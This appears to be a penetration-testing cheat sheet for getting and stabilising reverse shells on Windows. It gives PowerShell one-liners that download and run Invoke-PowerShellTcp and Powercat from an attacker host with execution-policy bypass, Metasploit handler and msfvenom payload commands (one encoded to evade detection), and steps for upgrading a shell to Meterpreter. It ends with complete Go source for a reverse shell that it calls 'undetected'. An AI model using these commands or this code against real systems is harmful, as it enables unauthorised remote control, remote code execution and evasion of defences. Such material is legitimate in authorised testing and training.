Skip to main content

Stabilization

:: In Windows we can use rlwrap before Connecting to the Target Machine
rlwrap nc -nvlp <PORT>

CMD - PSH​

Invoke-PowerShellTcp   Powercat



# [Invoke-PowerShellTcp] Download - Execute 
powershell IEX "(New-Object Net.WebClient).DownloadString('http://IP:PORT/Invoke-PowerShellTcp.ps1');" "Invoke-PowerShellTcp -Reverse -IPAddress IP -Port PORT"

# [Powercat] Download - Execute 
powershell IEX "(New-Object Net.WebClient).DownloadString('http://IP:PORT/Powercat.ps1');" "Powercat -c IP -p PORT -e cmd"
:: [Invoke-PowerShellTcp] Import - Execute
powershell -command "Set-ExecutionPolicy Bypass -Scope process -Force;. .\Invoke-PowerShellTcp.ps1;Invoke-PowerShellTcp -Reverse -IPAddress IP -Port PORT"

:: [Powercat] Import - Execute
powershell -command "Set-ExecutionPolicy Bypass -Scope process -Force;. .\Powercat.ps1;Powercat -c IP -p PORT -e cmd"

Interface​

:: Enable Unicode Characters
chcp 65001

:: Set Keyboard Layout
Set-WinUserLanguageList -LanguageList us-US -force

Metasploit​

:: Catching a Reverse Shell
:: Load the Module
use exploit/multi/handler

:: Parameters
set LHOST
set LPORT

:: Set the Correct PAYLOAD
set PAYLOAD windows/shell/reverse_tcp

PAYLOADS​

:: Meterpreter
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f FORMAT -o OUTPUT

:: Reverse TCP
msfvenom -p windows/x64/shell/reverse_tcp LHOST=IP LPORT=PORT -f FORMAT -o OUTPUT

:: Reverse TCP Encoded
msfvenom -p windows/shell/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=IP LPORT=PORT -f FORMAT -o OUTPUT

Upgrading To Meterpreter​

It May Be Necessary To Run The Commands Multiple Times Before Succeeding
:: Background the SHELL: [CTRL+Z]
:: Provide the Session Number
sessions -u SESSION
:: Background the SHELL: [CTRL+Z]
:: Load the Module
use multi/manage/shell_to_meterpreter

:: Provide the Session Number
:: [Method 1]
run session=SESSION 

:: [Method 2]
run session=SESSION win_transfer=POWERSHELL

:: [Method 3]
run session=SESSION win_transfer=VBS

GO Reverse Shell​

Features Missing

Mostly Stable and Undetected. Works on Windows - Linux.


:: Build
:: This is going to Generate a Binary Named [GoRevShell.exe]
env GOOS=windows GOARCH=386 go build GoRevShell.go

:: Usage
GoRevShell.exe -i <IP> -p <PORT>

:: Catching The Shell
rlwrap nc -nvlp <PORT>
SOURCE

package main

import (
	"bufio"
	"flag"
	"fmt"
	"net"
	"os"
	"os/exec"
	"runtime"
)

func execute(msg string) (string, []string) {
	var exe string
	os := runtime.GOOS

	if os == "windows" {
		exe = "cmd"
	} else if os == "linux" {
		exe = "/bin/bash"
	} else {
		fmt.Println("Unknown Arch. Terminating.")
	}

	args := []string{}
	if exe == "cmd" {
		args = append(args, "/C")
	} else {
		args = append(args, "-c")
	}

	args = append(args, msg)
	return exe, args
}

func main() {
	args := os.Args
	if len(args) < 2 {
		fmt.Println("Usage: [OPTIONS]\n\n GO Reverse Shell\n\nOptions:\n -i HOST -p PORT")
		return
	}

	I_P := flag.String("i", "", "HOST")
	L_PORT := flag.String("p", "", "PORT")
	flag.Parse()

	conn, _ := net.Dial("tcp", fmt.Sprintf("%s:%s", *I_P, *L_PORT))
	for {
		cwd, _ := os.Getwd()
		fmt.Fprintf(conn, "\n%s> ", cwd)
		msg, _ := bufio.NewReader(conn).ReadString('\n')
		exe, args := execute(msg)
		out, err := exec.Command(exe, args...).Output()
		if err != nil {
			fmt.Println(conn, "\n\n%s\n", err)
		}
		fmt.Fprintf(conn, "%s", out)
	}
}